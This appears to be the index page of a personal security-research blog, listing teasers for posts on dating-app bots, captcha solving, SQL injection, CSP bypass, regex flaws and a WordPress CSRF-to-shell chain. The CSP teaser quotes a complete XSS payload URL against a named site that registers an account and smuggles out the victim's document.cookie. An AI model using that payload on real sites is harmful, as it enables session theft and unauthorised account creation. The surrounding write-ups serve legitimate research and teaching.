-
The Happn’ing
Years ago, one of the first posts I ever wrote was about my experience scripting a bot for the dating site OKCupid. It was just a PoC bashed together over a few beers with a friend. Since then (and becoming single) I’ve scripted bits and bobs for virtually every major dating site/app… its become a bit…
-
Ready the Anti-BEAM Beam! Breaking the Virgin BEAM app in 12 minutes
I’ve been travelling on Virgin trains a lot recently and finally decided to take a look at their free movie-streaming app “BEAM”. Super-excited to be about to watch Forest Gump on my journey, I found that whenever I hit play, the app’s custom video-player decided to freeze and eventually crash the app on my device of…
-
PentestCTF – Another CTF Framework
Instead of doing my final-year project at University, I made (another) open-source CTF/Lab framework, primarily for my own learning benefit during its development, but also because I realised how powerful a group learning environment like a CTF is and I wanted to deploy one at my University. Keep reading to learn more…
-
A 3D-Printed home for the JTAGulator
Super-quick post… I 3D printed a case for my friend’s JTAGulator and it came out pretty well, so I thought i’d share it.
-
SQL Injection using System Variables in MySQL
For BSides Manchester 2015, the UK pen-testing company aptly named ‘Pentest Ltd’ held a SQL injection challenge where the injection point required structuring the payload in a specific manner with MySQL voodoo to keep the payload under 90 characters, and bypass a basic WAF. I was fairly certain the lab could also be accomplished using MySQL variables, but…
-
Gotta Captcha’m All – Automating Image (and Audio!) Captchas.
A captcha serves one purpose. To ensure that a human has performed a task, and not a machine. In web applications, they attempt to prevent attackers from creating automated bits of code to brute-force forms, fuzz user input or cause a denial of service. Its very much a non-trivial task these days to differentiate the man…
-
"Bypassing" CSP’s Data-Exfiltration Protections
A long time ago now, I tweeted a challenge to see of anyone knew what the following URL would attempt to do: http://www.insta-mapper.com/google_map.php?device_id=1234′;$.ajax({url:’/wp-login.php?action=register’,type:’POST’,data:”user_login=’dr’&user_email=’dr@evil.com’&gclient_id=&gredirect_uri=http://www.insta-mapper.com/&state_uri=http://www.insta-mapper.com&client_id=721352147882378&redirect_uri=http://www.insta-mapper.com&ws_plugin__s2member_registration=e4e7762e6a&ws_plugin__s2member_custom_reg_field_user_pass1=’123456’&ws_plugin__s2member_custom_reg_field_user_pass2=’123456’&ws_plugin__s2member_custom_reg_field_first_name=’d’&ws_plugin__s2member_custom_reg_field_last_name=’r’&ws_plugin__s2member_custom_reg_field_address_1=’1’&ws_plugin__s2member_custom_reg_field_address_2=&ws_plugin__s2member_custom_reg_field_city=s&ws_plugin__s2member_custom_reg_field_country=u&ws_plugin__s2member_custom_reg_field_mobile_devices='” encodeURI(document.cookie) “‘&ws_plugin__s2member_custom_reg_field_mobile_devices2=Apple&redirect_to=&wp-submit=Register”});var lol=’a Don’t worry, I don’t expect you to stare at that monstrosity. Instead I’ll just tell you; So a friend of mine was competing in WhiteHatRally last year, which is a sort…
-
Hunting bad regex with good regex.
In this post i’ll look at how a simple regex flaw I found on a web application, lead me down a pretty big exploratory hole of trying to search for regex vulnerabilities in applications… using regex; the results of which have since been useful on many of my engagements.
-
WordPress – CSRF>XSS>Shell>Profit.
I did a small penetration test in 2013/14 for a client’s WordPress site, which has since been my go-to anecdote for explaining the potential for XSS… probably because, to non-sec folk, what it achieved sounds amazing, although its really rather easy to explain how and why it worked. This is that anecdote…
-
Threema Revisited.
So the Treema bug I found a few years ago was fairly cool in my opinion, something a bit different anyway. So it was disappointing that Threema didn’t respond to me at all and then released a patched/updated Threema to the AppStore with something like “general improvements’ in the change-log.. lovely.. very general. Well, anyway… process this for a second…
-
Subscribe
Subscribed
Already have a WordPress.com account? Log in now.
hiburn8 📈🔥🎱 